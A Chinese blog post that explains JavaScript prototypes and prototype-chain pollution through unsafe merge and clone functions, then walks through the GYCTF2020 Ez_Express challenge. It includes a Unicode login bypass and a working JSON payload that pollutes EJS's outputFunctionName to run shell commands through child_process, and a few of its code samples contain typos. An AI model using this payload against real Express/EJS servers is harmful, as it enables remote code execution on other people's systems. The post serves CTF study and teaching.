js的原型链污染

前言

ISCC结束前几天就开始看原型链这一块了,为了填上之前那篇博客的坑还是啃了一会的,因为没有很系统了解过js因此理解起来不是特别顺利。

继承与原型链

我们都知道js是面向对象的编程语言,因此js有很多骚操作是别的编程语言没有的。而js是动态的,本身不提供一个class的实现。即便是在ES2015/ES6中引入了class关键字,但那也只是语法糖,js仍然是基于原型的。

js中只有一种结构:对象(object)。每个obj都有一个私有属性(__proto__)指向它的构造函数的原型链对象(prototype)。然后这个原型对象也有一个自己的原型对象,这样层层向上知道NULL。那么根据原型链定义,NULL就是原型链中最后一个环节。

接下来我们来分析下什么是prototype和__proto__。

js中我们如果想要定义一个类,需要以定义函数的方式来实现:

1
2
3
4
5
6
7
8
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}

(new Foo()).show()

这样写确实可以实现,但是会产生一个问题,就是每新建一个Foo对象,this.show = function()…就会执行一次,因为show方法实际上还是绑定在对象上,而并非“类”。

如果我希望创建类时只创建一次show方法,我们就需要用到prototype:

1
2
3
4
5
6
7
8
9
10
11
12
function Foo() {
this.bar = 1
}

Foo.prototype.show = function show() {
console.log(this.bar)
}

let foo = new Foo()
foo.show()

//1

我们可以认为原型prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了:

1
2
foo.__proto__ == Foo.prototype
//true

基于js原型链的继承

js的继承机制利用的是类对象实例化时拥有prototype中的属性与方法,p牛在他的文章中用一个生动形象的例子向我们展示了这个机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}

function Son() {
this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

//Name: Melania Trump

很明显可以看出来,Son类继承了Father类中last_name的属性,整个操作过程是这样的:

  1. 在对象Son中寻找last_name
  2. 如果找不到,就在son.__proto__中寻找last_name
  3. 就这样一层一层往上寻找,直到找到last_name或NULL结束
1
2
3
son.__proto__

//Object { first_name: "Donald", last_name: "Trump" }

这个查找机制被称为prototype继承连。

js原型链污染

什么是原型链污染

结合之前所介绍的,我们不禁发出疑问,如果我们修改了foo.__proto__中的值,那么会不会改变Foo类呢?带着这个疑问,我们来进行测试:

1
2
3
4
5
6
7
8
9
10
let foo = {mrl64: 1}
console.log(foo.mrl64)

foo.__proto__.mrl64 = 2
console.log(foo.mrl64)

let sp = {}
console.log(sp.mrl64)

//1 1 2

我们发现最后一个sp是一个空对象,但是输出sp.mrl64的结果是2,这正是由于修改了foo的原型foo.proto.mrl64这个obj类,给这个类增加了一个属性mrl64,值为2。而在这之后,我们用obj类创建了一个sp对象,因此sp对象中自然会有一个sp属性。

在应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象,这种攻击方式就是原型链污染。

什么情况下会存在原型链污染

这就涉及到在哪些情况下我们可以设置__proto__的值了,其实可以控制数组键名的操作就可以做到,例如:

  • 对象merge
  • 对象clone(将待操作的对象merge到一个空对象中)

merge函数:

1
2
3
4
5
6
7
8
9
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}

看到最后一个赋值语句我们不禁就来了想法了,如果这个key的名称就是__proto__,是不是就可以触发原型链污染了?我们同样试验一下:

1
2
3
4
5
6
7
8
9
let test1 = {}
let test2 = {a"1,"__proto__":{b:2}}
merge(test1,test2)
console.log(test1.a, test1.b)

test3 = {}
console.log(test3.b)

//1 2 {}

可以发现合并成功,但是原型链污染失败。这是因为我们用js创建test2的过程中,__proto__已经代表test2的原型了,此时遍历test2的键名__protp__并不是一个key,因此不会修改obj原型。

那么该怎么进行处理呢,我们来康康这个代码:

1
2
3
4
5
6
7
8
9
let test1 = {}
let test2 = JSON.parse{'{a"1,"__proto__":{b:2}}'}
merge(test1,test2)
console.log(test1.a, test1.b)

test3 = {}
console.log(test3.b)

//1 2 2

这次原型链被成功污染了,这是因为JSON解析下,__proto__被认为是真正的键名而并非原型。marge操作极其容易存在原型链污染,多个常见库中都存在这个问题。

[GYCTF2020]Ez_Express

进入网页是个login页面,提示我们要注册,用户名只支持大写且需要使用ADMIN登录,但是注册页面又啥都没有。

怀疑存在信息搜集,测试发现存在www.zip,下载后审计源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//login部分
router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});

可以发现使用了toUpperCase(),那就是一个经典trick了,登录账号输入admın然后点击注册,这次出现页面了。有一个输入框,问我们最喜欢的语言,随便填都会alert一个success,那我们继续审计:

1
2
3
4
5
6
//action部分
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
req.session.user.data = clone(req.body);
res.end("<script>alert('success');history.go(-1);</script>");
});

我们在这里看到了clone函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

看到这两个函数相信应该就能反应过来要使用原型链污染了,结合题目的名字,不难想到利用ejs来进行RCE,尤其是代码中显眼的不行的outputFunctionName:

1
2
3
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})

具体原理可以参考下这篇文章:
Express+lodash+ejs: 从原型链污染到RCE

那么我们构建payload:

1
2
3
Content-Type: application/json

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

接着访问/info即可获取flag。